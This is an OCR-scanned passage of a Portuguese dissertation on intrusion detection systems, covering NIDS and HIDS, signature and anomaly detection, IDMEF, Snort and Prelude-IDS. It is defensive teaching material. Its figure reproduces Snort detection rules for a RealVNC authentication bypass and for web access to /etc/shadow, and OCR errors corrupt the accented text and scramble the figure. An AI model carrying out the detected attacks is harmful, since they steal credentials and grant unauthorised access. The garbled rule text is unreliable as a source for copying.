abreviatura, IDPS (Sistema de Detec¢do e Prevencdo de Intrusdo), sistema de deteccdo e preven-
¢do de intrusdo, que € usada em alguns produtos comerciais (TEVEMARK, 2008). Devido a essa
proximidade de significados, esta dissertacdo utiliza por vezes o termo “Sistema de Deteccdo e
Prevencao de Intrusdo” (IDPS) para se referir a ambos os conceitos (MUKHOPADHYAY; CHA-
KRABORTY; CHAKRABARTI, 2011).

Detec¢do de Intrusdo € o processo de monitorar 0s eventos que ocorrem em um Sis-
tema computacional, analisando-os a procura de sinais de intrusdo. Intrusdo é definida como uma
tentativa de comprometer a confidencialidade, integridade, disponibilidade ou burlar os mecanis-
mos de seguranca de um sistema computacional (CASAGRANDE, 2003). Intrusdes sdo causadas
por usudrios ndo autorizados acessando os sistemas a partir da Internet, usudrios autorizados que
tentam obter privilégios adicionais ndo autorizados e usudrios autorizados que utilizam de forma
inadequada os privilégios dados a eles (CASAGRANDE, 2003).

Um Sistema de Deteccdo de Intrusdo prové componentes de hardware e software que
escutam todo o trafego que passa por uma placa de rede ou leem arquivos de captura de pacotes
a procura de padrdes predefinidos, tais como determinados fluxos de pacotes ou cabegalhos de
protocolos invélidos que podem indicar situagdes suspeitas. Os atacantes tornam-se a cada dia
mais criativos em seus ataques explorando novas vulnerabilidades ou explorando por outros ca-
minhos vulnerabilidades ja conhecidas com o intuito de ndo serem percebidos pelos padrdes pre-
definidos dos IDPS, sendo estes ataques potenciais ameacas aos ativos que pretendemos defender
(TRUHAN, 2011).

Um Sistema de Deteccdo de Intrusao € um elemento essencial na estratégia de defesa
em profundidade e ndo uma ferramenta ou tecnologia tinica na seguranca de redes. Um firewall é
também um elemento essencial nesta estratégia. Porém, nio tem a capacidade de detectar inten-

coes maliciosas em um pacote. O firewall filtra o trafego de rede e, geralmente, o que passa pelo
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firewall é analisado no IDS que tem a capacidade de analisar os dados tteis do pacote, caracteri-
zando a seguranca em profundidade. Nesta arquitetura, ainda podemos ter outros equipamentos
incrementando a seguranca das redes como balanceadores de carga e outros firewalls em diferentes

posicdes na rede.

Para melhor caracterizar o problema envolvendo Sistemas de Detec¢do de Intrusao,
dois conceitos muito comuns na drea sdo utilizadas: falso positivo e falso negativo. Falso positivo
€ qualquer comportamento normal ou esperado do ambiente computacional identificado pelo IDS
como andmalo ou malicioso. Falso negativo, ao contrério, € qualquer evento malicioso no ambiente

que o IDS identifica como legitimo.

O desafio de qualquer IDS € minimizar os falsos positivos e os falsos negativos. Deve-
se ter cuidado na busca em minimizar os falsos negativos para ndo proibir que trafego legitimo
entre na rede, ou seja, aumentar os falsos positivos. Portanto, deve haver um equilibrio entre
os falsos positivos e falsos negativos, sendo que a situacdo ideal e utdpica seria uma quantidade
nula de falsos positivos e falsos negativos. O administrador de sistemas deve avaliar os beneficios
quando se bloqueia trafego legitimo (falso positivo) e quando se permite alguns pacotes maliciosos

(falso negativo) para determinar a melhor configuracio a ser implementada.

A atividade do Sistema de Detecgdo de Intrusdo € passiva: obtém informacao, identi-
fica ameacas, registras os eventos e gera alerta para o administrador do sistema. Varios algoritmos
tém sido desenvolvidos na tentativa de identificar diferentes tipos de intrusdes. Entretanto, nao ha

uma heuristica para determinar a exatidao de seus resultados (DAS et al., 2010).

A utilizacdo de uma ferramenta IDPS permite analisar tentativas de ataques e auxilia
na seguranca de redes de computadores. Por meio desta anélise, € possivel descobrir de onde
estd partindo a invasdo, podendo-se assim, bloquear a comunica¢ao com a origem, evitando um

possivel comprometimento.

2.2.1 Classificacao Quanto a Fonte de Informacio

Para o propdsito desse documento, os IDS serdo classificados em dois grupos basea-
dos em sua fonte de informacao, que pode ser o trafego de rede ou os recursos e eventos de um
computador. Pode também ser classificado em dois grupos, baseado no método de deteccdo que

pode ser por assinaturas ou por anomalias.

e IDS baseado em rede (Network-based 1DS — NIDS)

IDS baseado em rede monitora o trafego de rede coletando e analisando as atividades de
rede e os seus protocolos para identificar atividade maliciosa (ROOZBAHANI; NASSIRI;
LATIF-SHABGAHI, 2009). E mais comum posiciond-lo numa fronteira entre redes, como
entre a rede externa (Internet) e rede interna. E possivel também posicioné-lo escutando o

trafego de rede espelhado de um switch da rede. Porém, nessa situacao, ndo terd a capacidade
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de prevenir atuando exclusivamente como IDS.

Sistemas de Deteccado de Intrusdo baseados em rede sdo sensores comumente posicionados
como membros da rede ou recebendo o trafego espelhado. Possuem uma interface de rede
habilitada em modo promiscuo, de forma que todos os pacotes que cheguem a placa de
rede sdo recebidos e direcionados ao IDS para captura e andlise, a procura de anomalias ou
assinaturas de ataques. Existem ainda outras formas de implementar um IDS baseado em
rede. Uma outra possibilidade seria o NIDS com duas interfaces de rede configuradas como
uma ponte e posicionadas na rede de maneira que subdivida a rede interna, que se quer
proteger, da rede externa, a qual ndo se confia. Com esse posicionamento, todo o trafego
entre essas redes passa pelo IDPS que poderia deixar de ser um sensor passivo para atuar

bloqueando o trafego malicioso caso tenha essa funcionalidade.

Um IDS com poucos sensores, porém bem posicionados pode monitorar grandes redes e
ainda ser invisivel para os atacantes. Estes sensores podem ser equipamentos dedicadas ou

um sistema computacional tradicional no qual foi instalado um sensor IDS.

Alguns exemplos de NIDS:

— Bro ( http://bro-ids.org/ )

— Cisco IPS ( http://www.cisco.com/en/US/products/sw/secursw/ps2113/index.html )

— Cyclpops IDS ( http://www.e-cop.net/Page.aspx?Page=142 )

— Enterasys Dragon IDS ( http://www.enterasys.com/products/advanced-securityapps/ )
— Firestorm NIDS ( http://www.scaramanga.co.uk/firestorm/ )

— RealSecure Network ( http://www.iss.net/products/RealSecure_Network_10-100/ )

— SecureMetrics ( http://www.securitymetrics.com/securitymetricsappliance.adp )

— Shoki ( http://shoki.sourceforge.net/ )

— Snort ( http://www.snort.org/ )

e [DS baseado em méquina (Host-based 1DS — HIDS)

IDS baseado em mdquina monitora os recursos € eventos de um computador a procura de
atividades e dados suspeitos (TEVEMARK, 2008). Exemplos de recursos ou eventos mo-
nitorados: trdfego de rede oriundo ou destinado aquela maquina, registros do sistema, cha-
madas de sistema, processos em execucao, leituras e modificagdes em arquivos, usudrios
logados. Este tipo de IDPS € mais comum em servidores criticos, publicos e que contenham

informacdes sigilosas.

O Sistema de Deteccao de Intrusdo baseado em maquina ou host esté instalado fisicamente
na maquina. Diversas informag¢des podem ser coletadas e avaliadas, como o uso da CPU,

processos de sistema, integridade dos arquivos, modificacdo de privilégios, conexdes de
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rede, registros do sistema, acesso a arquivos entre outros na tentativa de identificar com-
portamento andmalo, ilicito ou acessos ndo autorizados. Normalmente, IDS baseado em
madquina envolve um agente em cada maquina, monitorando e alertando sobre as atividades
que ocorrem sobre o sistema operacional. O agente instalado usa combinagdo de assinaturas,

regras e heuristicas para tentar identificar as atividades maliciosas.

Um HIDS analisa com maior precisao as atividades de intrusdo, uma vez que tem acesso
direto as informag¢des da maquina localmente podendo monitorar e analisar os dados e pro-

cessos do sistema que estd potencialmente sob ataque.

Alguns exemplos de HIDS:

AIDE ( http://sourceforge.net/projects/aide )

— AFIC ( http://afick.sourceforge.net/ )

— auditGUARD ( http://www.s4software.com/ag.htm )

— Enterasys Dragon Host Sensor ( http://www.enterasys.com/ids/ )
— Integrit ( http://integrit.sourceforge.net/ )

— LIDS ( http://www.lids.org/ )

— Logsurfer ( http://www.dfn-cert.de/eng/logsurt/ )

— Osiris ( http://osiris.shmoo.com/ )

— OSSEC ( http://www.ossec.net/ )

— Sambhain ( http://www.la-samhna.de/samhain/ )

— SNIPS ( http://www.navya.com/software/snips/ )

e DS hibridos

Sistemas de detec¢do de intrusao hibridos possuem caracteriscticas tanto de NIDS quanto de
HIDS. Um IDS hibrido analisa o trafego de rede, os logs e recursos do sistema no qual esta
instalado. Teoricamente esta combinacdo de tecnologias de IDS produziria um IDS muito
mais eficiente. Porém, esses sistemas hibridos nem sempre sdo sistemas melhores. Um
dos grandes desafios desses sistemas hibridos € fazer com que estas diferentes tecnologias

interajam com sucesso e eficiéncia.

Alguns exemplos de IDS hibridos:

— Prelude-IDS ( http://www.prelude-technologies.com/ )

— Tripwire ( http://sourceforge.net/projects/tripwire/ )

e NIDS versus HIDS

O NIDS traz as seguintes vantagens em relacio aos HIDS:
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Independente de plataforma;

Os ataques podem ser identificados em tempo real;

Poucos sensores bem posicionados podem monitorar toda rede;

Dificil de serem descobertos devido a atuagdo passiva.
E as seguintes desvantagens:

— Perda de pacotes em redes de alta velocidade;
— Necessidade de alto processamento;

— Incapacidade de monitorar trafego cifrado.
O HIDS traz as seguintes vantagens em relacdo aos NIDS:

— Atividades especificas do sistema podem ser analisadas detalhadamente, como o acesso
a arquivos protegidos, modificacdo em permissdes de arquivos, registros de acesso de
usuarios;

— Ataques que ocorrem fisicamente no servidor podem ser detectados;

— Ataques que utilizam criptografia podem ser tratados ja que ha a decifragem das men-

sagens que chegam a maquina;
— Naio necessita de hardware adicional;

— Auxiliam na detec¢do de trojans e virus, pois podem avaliar a integridade dos arquivos.
E as seguintes desvantagens:

Apresentam problemas de escalabilidade devido a necessidade de configuracio em

cada méquina;

E desenvolvido para cada plataforma especifica, por isso é dependente do sistema ope-

racional;

Nao € capaz de detectar ataques globais na rede;

Apresenta reducao no desempenho do equipamento monitorado.

2.2.2 Classificacao Quanto aos Métodos de Deteccao

Os métodos de deteccdo de intrusdo podem ser classificados em dois grupos: detec-
¢do de intrusdo baseada em assinaturas e detec¢do de intrusdo baseada em anomalias (SAXENA;
SHARMA, 2010).

e Deteccdo Baseada em Assinatura

Nessa metodologia, o IDS procura por indicios ou padrdes de tentativa de exploracdo de vul-
nerabilidades conhecidas (DERIS; ABDUL; MOHD, 2011). Esta técnica identifica agdes ou
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sequéncias de agdes que sdo caracterizadas como maliciosas, isto € denominado assinatura.
Neste caso o IDS tem uma base de dados de assinaturas de ataques conhecidos, que deve ser

constantemente atualizada para poder englobar as assinaturas de ataques novos.

Um exemplo de assinatura € o formato do log de uma tentativa de acesso de root em um
servidor SSH. Outro exemplo, € um email com o assunto sobre fotos contendo um anexo de

nome fotol.exe.

Esses sistemas sdo muito eficientes em detectar as ameagas que estdo presentes em sua base
de dados. Porém, sdo ineficientes na tentativa de detectar ataques desconhecidos ou vari-
acoes de ataques conhecidos, como exemplo, se modificarmos a extensdo ou o nome do
arquivo do exemplo anterior para “notepad.exe” ou “fotol.oxe” 0 mesmo pode nio ser mais

identificado pela assinatura constante na base de dados.

Detec¢do Baseada em Anomalias

Um perfil inicial de utilizacdo da rede € gerado sobre um periodo de tempo, dias ou poucas
semanas, denominado periodo de treinamento. Esses perfis podem ser estdticos ou dinami-

cos e definem para o IDS o comportamento normal do ambiente (baseline).

Nessa metodologia, o IDS detecta alteracdes de padrdes de utilizacdo do sistema, técnica
também conhecida como técnica de detec¢io por observacdo do comportamento. E baseada
no monitoramento estatistico do sistema em comparagao com valores considerados normais.
O IDS tem conhecimento do comportamento normal do ambiente e monitora por desvios
ou anomalias do padrdo estabelecido oferecendo a possibilidade de deteccao de intrusdes
desconhecidas ou novos exploits (BRUNEAU, 2001).

Nesses sistemas, assume-se que as atividades maliciosas t€ém padrdes estatisticos diferentes
dos considerados normais. Esses padroes podem ser: estimativas sobre as conexdes de rede,
modelos de utilizacdo do sistema pelos usudrios, estimativas quantitativas dos processos do
sistema, entre outros. Essa solu¢do gera mais falsos positivos do que a metodologia baseada

em assinaturas.

Por exemplo, se a média de utilizacdo da banda de Internet durante o horério de expediente é
definida em 13%, o IDPS entdo usa métodos estatisticos para comparar esse padrao com as
caracteristicas dos dados monitorados. Em outro exemplo, uma grande variagdo do nimero
de emails enviados por usudrios durante o horario de expediente, que configura um desvio
do comportamento normal, pode significar o envio de spans. Ainda, o nivel de carga do

processador ou o numero de falhas em tentativas de login.

A grande vantagem dessa técnica € que ela pode ser bastante eficiente na detec¢do de amea-
cas ndo conhecidas. Por exemplo, um computador infectado com um novo tipo de malware
pode consumir mais recursos da maquina, enviar muitos emails, tentar abrir conexdes e
outros comportamentos que sejam diferentes das defini¢des consideradas normais. Em con-

trapartida, torna-se dificil para o IDPS identificar a causa daquele comportamento andémalo.
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Uma fraqueza dessa metodologia é a susceptibilidade a tentativas de evasdo dos atacantes.
Por exemplo, em um ataque que € deflagrado lentamente no tempo, nesse caso as compara-
coes estatisticas podem aferir que este ataque estd dentro da normalidade. Outra questdo € a
possibilidade de durante o periodo de treinamento o IDPS monitorar um ataque acontecendo
e guardar essa atividade como uma atividade normal do sistema. Nessas situagdes o admi-
nistrador da rede pode excluir determinados pacotes ou conexdes das andlises estatisticas.
Além disso, o administrador deve informar ao sistema a execucdo das tarefas agendadas de
manuten¢do ou backup do ambiente que, por vezes, trafegam uma enorme quantidade de

dados periodicamente e em um curto periodo de tempo.

e Assinaturas versus Anomalias

Ambos, IDS baseado em assinaturas e IDS baseados em anomalias, t€ém suas vantagens e
desvantagens. Embora a detec¢c@o por assinaturas possa ser mais confidvel e prover melhor
desempenho quando o sistema recebe padrdes na rede que coincidem com as assinaturas
conhecidas em sua base de dados, ela ndo é capaz de detectar novos ataques que ndo tenham
as assinaturas correspondentes. Por outro lado, a detec¢do por anomalias € capaz de detectar
ataques novos ou desconhecidos com a desvantagem de aumentar o nimero de falsos alarmes
(GOMEZ et al., 2009).

2.2.3 Componentes de um IDPS

Esta secdo descreve os principais componentes de uma solu¢do de um Sistema de De-
teccdo e Prevencdo de Intrusdo e as arquiteturas de rede mais comuns para esses componentes
(SCARFONE; MELL, 2007).

Os componentes tipicos de um IDPS sdo como segue:

e Sensor ou Agente: monitora e analisa os eventos. O termo sensor € tipicamente utilizado no
monitoramento de redes com hardware especifico, enquanto o termo agente € tipicamente
utilizado em sistemas HIDS nos quais temos cédigo instalado nos equipamentos a serem

monitorados.

e Gerente: um gerente é um equipamento central que recebe e trata as mensagens dos sen-
sores e agentes. Os gerentes podem analisar as mensagens em conjunto e correlaciond-las
identificando intrusdes que sensores ou agentes individuais ndo poderiam. Pode haver um ou

multiplos gerentes, dependendo da complexidade do ambiente no qual o IDPS serd instalado.

e Servidor de Banco de Dados: o banco de dados € o repositério das mensagens e eventos ge-
rados pelos sensores, agentes ou gerentes. Normalmente, esse banco de dados estd intrinseco

ao gerente. No entanto, isso nao é uma regra.

e Interface de Visualiza¢do: é um programa que prové os meios para que os usudrios e admi-

nistradores do IDPS possam executar suas tarefas no sistema. Podem ser instalados como
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clientes em computadores pessoais ou laptops ou ndo requererem essa instalacdo, sendo
apenas acessados através de um navegador web. Podem existir interfaces distintas para ad-

ministracdo, monitoramento ou analises.

Uma solucdo de IDPS pode ser instalada conectando diretamente cada componente a
rede de dados que se quer defender ou cria-se uma rede separada, com enderecamento proprio,
desenhada especialmente para a instalacdo e conexdo dos equipamentos de seguranca. Ainda as-
sim, os agentes e sensores devem ter uma interface de rede que os conecte também com a rede que
se quer defender, ndo havendo essa necessidade para os gerentes, servidores de banco de dados e

interfaces de visualizagdo.

2.3 Formato de Troca de Mensagens de Detecciao de Intrusao (IDMEF)

O Intrusion Detection Message Exchange Format (IDMEF) ou Formato de Troca de
Mensagens de Deteccdo de Intrusdo estd definido na RFC 4765 de marco de 2007 (DEBAR;
CURRY, 2007). O proposito do IDMEF € definir um formato padrao para o compartilhamento
de informagdes de interesse de Sistemas de Deteccao e Prevengao de Intrusao. Estas informagdes
tanto podem ser de controle, gerenciais ou os alertas de intrusdo. A RFC 4765 descreve um mo-
delo de dados que representa as informacdes geradas por um IDPS no formato XML (DEBAR;
CURRY, 2007). O desenvolvimento deste formato padrdao permite a interoperabilidade entre os
mais diversos IDS, comerciais ou de c6digo aberto. Isto permite que os eventos desses diferentes
equipamentos sejam armazenados e tratados numa estrutura unica, tornando ainda mais simples
a geréncia do sistema, uma vez que essa geréncia € centralizada, ndo havendo a necessidade de
manter multiplos equipamentos para processamento de dados (YASM, 2009). E, ainda, permite a

implementagcdo de um mdédulo préprio de integragdo entre IDS.

Em sistemas nos quais temos um gerenciador e sensores espalhados pela rede, como na
solug@o proposta neste trabalho, a utilizagdo do IDMEF como canal de comunicacio entre esses
sistemas € bastante adequada. Contudo, existem outras situacdes de troca de mensagens que o
IDMEEF pode ser utilizado. Por exemplo, em sistemas que t€tm um banco de dados central de
eventos, em sistemas com um correlacionador de eventos centralizado e em sistemas que t€ém uma
interface grafica tnica. A Figura 2.2 mostra a arquitetura de uma mensagem IDMEF com os seus

componentes.

No topo do modelo de dados, temos a classe IDMEF-Message, da qual todos os ti-
pos de mensagens s@o subclasses. Ha basicamente dois tipos de mensagens definidas: Alertas e
Heartbeats. E importante salientar que o modelo de dados ndo especifica como um alerta deve
ser classificado ou identificado. Por exemplo, um escaneamento de portas pode ser identificado
por um IDS como ataques simples contra multiplos alvos, enquanto outro IDS pode identificar o
mesmo evento como multiplos ataques de uma mesma origem. No entanto, uma vez identificado o

tipo de alerta o modelo de dados determina como o alerta deve ser formatado no padrao IDMEF.



Figura 2.2: Arquitetura de uma Mensagem em IDMEF
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Fonte: http://www.ietf.org/rfc/rfc4765.txt

37



38

3 SISTEMAS DE DETECCAO DE INTRUSAO DE CODIGO ABERTO

Este capitulo descreve as ferramentas de cdigo aberto utilizadas neste trabalho para
construir um Sistema de Detec¢do e Prevengdo de Intrusdo com a capacidade de detectar novas
ameacas, gerar assinaturas e bloquear a sua incidéncia. Todos os softwares aqui descritos e utiliza-
dos para construir a solugdo proposta sdao de cédigo livre e disponiveis para download na Internet
nas paginas eletronicas de seus fabricantes. O principal sistema da solu¢do € o NIDS Snort, a
primeira ferramenta a ser aqui descrita, seguida de ferramentas HIDS que integradas formam a
solugdo proposta: Prelude-IDS e OSSEC.

3.1 Snort

O Snort € por definicao um IDS, porém a partir da versao 2.3.0-RC1 € possivel configura-
lo com a funcionalidade de prevencdo de intrusdes, trabalhando no modo Inline integrado com o
iptables em sistemas Linux. Com cerca de 4 milhdes de downloads, perto de 400.000 usudrios
registrados (SOURCEFIRE, 2012) e mais de 100 fabricantes que o incorporaram em seus disposi-
tivos de seguranca o Snort, tornando-o uma excelente e popular escolha para projetos de sistemas
de detec¢do e prevencdo de intrusdes (PIPER, 2011) sendo o IDS mais utilizado no mundo em
2011 (FANG; LIU, 2011) e largamente utilizado em pesquisas de deteccdo de intrusdo (TIMOFTE,

2008), motivos pelos quais foi escolhido como motor de captura e andlise para esta proposta.

Para a utilizacdo do Snort, sdo recomendadas duas interfaces de redes: uma para tra-
balhar em modo promiscuo, sendo o sensor do Snort e outra para conectividade de rede tipica e
geréncia da ferramenta. As interfaces devem ser de pelo menos a velocidade méxima da rede, se a
rede € de 10/100 Mbps a interface deve ser de pelo menos 100 Mbps. Porém, para este trabalho, no
modo Inline, o Snort tem 3 interfaces, sendo 2 formando uma bridge através da qual o trafego de
rede € monitorado e uma terceira conectada a rede de segurancga para a troca de mensagens entre

os sensores e o gerente do IDPS proposto.

Considera-se o Snort um IDS ligthweight, ou seja, ele pode ser colocado em funci-
onamento com muito pouco esfor¢o tanto no sentido computacional quanto no sentido de confi-
guracdo, suporte e facilidade de criagdo de regras (ROESCH, 1999). O Snort € um software que
habilita a placa de rede do computador em modo promiscuo, permitindo que todos os pacotes que
cheguem a placa de rede daquela maquina, mesmo que nao direcionados a ela, sejam capturados e
analisados a procura de padrdes conhecidos de ataques. Segundo a sua péagina oficial na Internet o
Snort utiliza uma linguagem de regras flexivel para descrever o trafego de rede que deve analisar
ou deixar passar. Utiliza também um mecanismo de deteccao e geracdo de mensagens que utiliza
uma arquitetura modular de plugins, que registram os ataques de diversas maneiras, dentre elas em
banco de dados, em arquivo bindrio no formato do tcpdump, em arquivo texto, nos registros de log

do sistema ou no formato IDMEF.
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O Snort foi projetado para ser executado em uma grande gama de sistemas, entre eles
Linux, FreeBSD, NetBSD, OpenBSD, Solaris, MacOS, Windows, entre outros.

Inicialmente, era utilizada a biblioteca libpcap/winpcap para captura de pacotes. Re-
centemente, a partir da versao 2.9 passou-se a utilizar a biblioteca Data AcQuisiton Library (DAQ)
para as operagdes de entrada e saida de pacotes. que substitui diretamente as chamadas de fun-
cdo das bibliotecas de captura de pacotes PCAP com uma camada de software sendo facilmente
possivel adicionar implementagdes de captura de pacotes a nivel de hardware ou software. Essa
biblioteca € essencialmente uma camada de abstracdo € um conjunto de médulos que podem ser
selecionados em tempo de execucdo, o que possibilitou mudangas do modo passivo para Inline
facilmente sem a necessidade de recompilar o Snort!. Essa biblioteca é independente de sistema
operacional e permite que as aplicagdes capturem pacotes de rede para gravi-los em arquivo e

também leiam arquivos contendo pacotes de rede capturados previamente.

O Snort recebe o pacote como ele chega na placa de rede, sem modifica¢des, contendo
todos os campos dos cabecgalhos do protocolo utilizado. Assim, o Snort recebe o pacote que é

entregue em formato raw para o seu decodificador de pacotes.

A base de dados de assinatura do Snort € constituida de arquivos de regras, a distribui-
¢do padrao de regras do Snort versao 2.9.1 utilizada contem 57 arquivos de regras que sdo divididos

considerando-se as aplicagdes, protocolos envolvidos e os tipos de ataques.

3.1.1 Arquitetura do Snort

A arquitetura do Snort enfoca o desempenho, simplicidade e flexibilidade. Ha quatro

subsistemas primarios que o compdem como mostrados na Figura 3.1.

Trafego de Rede

et

Decodificadores
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Preprocessadores

'

Motor de Detecgio d—b{ Arquivos de Regras ]

Y

Plugins de Saida

\—b Alertas

Figura 3.1: Arquitetura do Snort

Thttp://vrt-blog.snort.org/2010/08/snort-29-essentials-daq.html
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e Decodificador de Pacotes

O decodificador de pacotes é o componente responsdvel por decodificar os elementos dos
protocolos para cada pacote, dentre as camadas de enlace, transporte e rede. A partir desta
decodificacdo estruturas de dados préprias sdo montadas e apresentadas ao préximo sub-
sistema. O decodificador de pacotes € responsavel por reorganizar os pacotes através da

reorganizacdo do fluxo de dados e montagem dos fragmentos.

e Preprocessadores

Os Preprocessadores sdo responsdveis por andlises que ndo podem ser detectadas por assi-
naturas e por modificar alguns pacotes para serem propriamente interpretados pelo motor
de deteccdo, proximo componente. Todos os preprocessadores tém uma série de diretivas
de configuracdo. Existem preprocessadores para tratar desfragmentacdo de pacotes, detec-
tar pacotes malformados, gerenciar estados de conexdes TCP, detectar trafego HTTP, RPC,
FTP anormais, detectar arpspoof, detectar cédigos polimérficos, detectar escaneadores de
rede, entre outros. As assinaturas da base de dados do Snort ndo sdo processadas nesse

componente.

e Motor de Detec¢do

O Motor de Deteccao € o subsistema principal da arquitetura do Snort, sendo responsavel
pela deteccdo de assinaturas através das regras do Snort. Este componente constréi uma
arvore de decisdo otimizada para realizar a andlise comparativa com as assinaturas da base
de dados. Se um pacote é identificado por uma regra, este termina sua anlise. E gerada uma
saida correspondente e o motor de deteccao recebe um novo pacote para andlise. Esta 16gica
de processamento implica que em cada pacote € detectado no méximo uma assinatura e as

assinaturas sdo testadas das mais gerais para as mais especificas.

e Plugins de Saida

Plugins de saida é o componente responsavel por apresentar os resultados das andlises obti-
das para a manipula¢ido do administrador. Varios sdo os plugins de saida, alguns sdo utiliza-
dos para geracao de saidas em arquivos de diversos formatos (csv, xml, syslog, pcap ) outros
sao utilizados para saidas em SGBDs (mysq]l, postgresql, mssql) e, ainda, geram a saida em

formato IDMEF como utilizado neste trabalho.

3.1.2 As regras do Snort

O conjunto de assinaturas do Snort € utilizado para identificar violagdes de seguranca.
As regras sdo armazenadas em arquivos texto, regras semelhantes estdo presentes no mesmo
arquivo, estes arquivos sdo referenciados no arquivo de configuragdo principal do snort: /etc/s-

nort.conf.
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As regras sdo definidas formalmente como segue: “<acdo> <protocolo> [!]<endereco
de origem> [!]<porta de origem> <direcao> <endereco de destino> <porta de destino> <opg¢des>".
As regras sdo entdo divididas em 2 se¢des: cabecalho e opgdes. As se¢des s@o entdo processadas
separadamente, a se¢do op¢des de uma regra € sempre definida entre parénteses e s6 sdo processa-

das se o cabecgalho da regra coincidir com os cabecgalhos do pacote.

H4 5 acgdes disponiveis para o campo “ac@o” em uma regra do Snort: alert, log, pass,
activate e dynamic. Em adicdo as estes valores, se o Snort estiver em modo Inline, teremos 3 acoes
adicionais: drop, reject e sdrop. Atualmente o Snort aceita 4 valores para o campo protocolo:
tcp, udp, icmp e ip. O campo dire¢do aceita os valores: -> (origem para destino) e <> (bidireci-
onal). O campo opg¢des na regra € definido dentre 4 categorias: general, payload, non-payload e
post-detection. Em cada categoria ha vérias op¢oes disponiveis. A identifica¢do relacionada ao
conteddo dos pacotes € definida no campo opc¢des de uma regra do Snort. A solucdo proposta
tem maior enfoque na categoria payload sobre a opcdo content. Por exemplo, uma regra com a
sentenca no campo opgdes: (content:“WTDG”; depth:4; nocase; content:“GREAT”; distance:18;
within: 10; nocase) significa encontrar a expressao “WTDG”, insensivel a caixa, nos 4 primeiros
bytes do payload, entdao andar a partir deste ponto 18 bytes e procurar a expressao “GREAT”, tam-
bém insensivel a caixa, nos proximos 10 bytes. A Figura 3.2 exibe a documentacio oficial de 2

assinaturas do Snort.

3.2 Prelude-IDS

Prelude-IDS? foi criado em 1998, por Yoann Vandoorselaere. E um framework que
possibilita que outras ferramentas de seguranca reportem alertas de seguranca para um ponto cen-
tral, ele foi escolhido neste trabalho por normalizar todas as suas mensagens no formato IDMEF,
cujo propésito € exatamente definir padrdes de troca de dados de interesse entre sensores de de-
teccdo de intrusdes. Este padrdo permite que, utilizando a API fornecida pelo seu componente
libprelude, possamos programar um IDS préprio usando o formato padrdo de mensagens IDMEF.
O agente do Prelude-IDS monitora os logs das aplicagdes: apache, squid, openssh, proftpd, postfix,
sendmail, entre outras. A Tabela 3.1 lista algumas ferramentas integraveis ao Prelude-IDS cujas
mensagens obedecem este formato. Como visto na Tabela 3.1 esta ferramenta tem compatibilidade
nativa aos sensores: Snort e OSSEC, que sdo utilizados na proposta desta dissertagdo. A Figura
3.3 mostra a arquitetura do Prelude-IDS simplificada na qual os sensores exibidos podem ser, nao
exclusivamente, qualquer uma das ferramentas constantes da Tabela 3.1. Neste trabalho ndo uti-
lizaremos o agente do Prelude-IDS e sim o gerente que concentra os alertas no formato IDMEF

gerados nos Sensores.

Prelude-IDS € um sistema composto por alguns médulos que possibilitam uma arqui-

tetura distribuida e a integracdo com outras ferramentas. O seu principal componente é o Prelude-

Zhttp://www.prelude-technologies.com
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alert tep SEXTERNAL _NET any -> $HOME_NET lert tep SEXTERNAL NET any -= SHTTP_SERVERS
[SR00,5900:59949] (msg:"EXPLOIT Real VNC password HTTP_PORTS (msg:"DELETED WEB-ATTACKS /ete/shadow
authentication bypass atiempt”; flow:to_serverestablished; cess”; flow:to server, established; coment:™/ete/shadow™; nocase;
flowhbits:isset, vne server. auth. types; lasstype:web-application-activity; sid: 1372; rev:7; )

reference:cve, 2006-230%; classtype:attempted-admin; sid:6471;
revifi )

Este evento ¢ gerado quando hi uma tentativa de explorar uma Este evento ¢ gerado quando ¢ feita uma tentativa de acessar o
vulnerabilidade conhecida do Real VNC, uivo de sistema protegido fete/shadow via uma requisigio web

Sério. E possivel obter acesso administrative ndo aworizado a Descobenta de Informaghes
méquina vitima

RealWMC & uma ferramenta multiplataforma de acesso remoto que| arquivo shadow geralmente encontrado no diretdrio Jete/ em
permite que maguinas na rede se conectem com outras maguinas., istemas UMIX contemn infomagdes de senhas de usuirios do sistema.
Tem uma arquitetura cliente-servidor que requer que o uswirio Neste caso, a regm i@ gerar um evento muma tentativa de
remoto autentique-se numa conexio ao servidor Real VNG ansferéncia do arquivo shadow. Este amuivo ¢ normalmente
RealVMNC pode ser usado mmotamente pam  administrar um tilizado em  sistemas  multi-uswinios pam proporcionar  maior
computadaor. Um emo de programagdo no mecanismo de autenticagdo cgumnga para as senhas dos usuanos. Este arquivo deve ter
permite que o atacante obtenha acesso 4 miquina sem fomecer as ermissio de leitura apenas para o super wsuirio. S¢ um invasor teve,
credencials cometas, UCESSD M TECUPERT gss¢ arjuivo, ele pode entio obter credenciais
Este evento & gerado quando & feita uma tentativa de burlar o & acesso vilidas para o sistema usando fermmentas disponiveis para
mecanismo de autenticagio, quebr da criptografia dessas senhas

Esse arquivo pode também ser usado para identificar usuirios validos
o sistema ¢ tentar ataque de forga bruta para obter acesso a0 sistema,

RealWVNC Personal Edition odos os sistemas haseados em UNIX com um servidar web

Um atacante pode fomecer um conjunto de credencias de acesso atacante pode fazer uma requisigio HTTP que contenha
malformado para o servidor RealVNC ¢ obter acesso a maguinal

vitima

Simples, codigo do exploit existe Requisicies HTTP simples

Servidores Web ndo devemn permitir ler ou executar arquivos fora da
aiz da aplicagio. Tornando este arquive com leitura permitidal
penas pari o super-usuinio do sistema desabilitard sua leitura por
UtTos USUATIos,

Equipe de Pesquisa de Vulnerabilidades da Sourcefire Equipe de Pesquisa da Sourcefire

Kevin Shivers <kevin.shivers.com= Bran Caswell <bmeisourcefire.com=

Nigel Houghton <nigel.houghton.com= Nigel Houghton <nigel houghton@sourcefire.com>
it/ w security focus com/hid/ 17978

hittp:/feve. mitre.org/egi-hin‘evename. cgi name=CAN-2006-2 369

Figura 3.2: Exemplos de Regras do Snort

Gerente -
Banco de
GUI
@ Dados

Figura 3.3: Arquitetura simplificada do Prelude-IDS
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Software Descri¢ao

AuditD Daemon de auditoria do linux

Nepenthes Uma ferramenta para a cole¢do de malware

NuFW Uma solugdo para geréncia de identidades em nivel de rede
OSSEC Um HIDS de c6digo aberto

Pam Moédulo de autenticacao do linux

Samhain Uma ferramenta para checagem de integridade de arquivos
Sancp Um coletor de informagdes estatisticas do trafego de rede
Snort Um NIDS de cédigo aberto

Tabela 3.1: Compatibilidade entre Prelude-IDS e algumas solucdes de seguranca

Fonte:https://dev.prelude-technologies.com/wiki/prelude/PreludeCompatibility

Manager que recebe as mensagens IDMEF dos diversos sensores, transmite-as para uma base de
dados da qual se tem acesso através do frontend que é o componente Prewikka. A sec@o abaixo

explica em rdpidas palavras os mdédulos do Prelude-IDS.

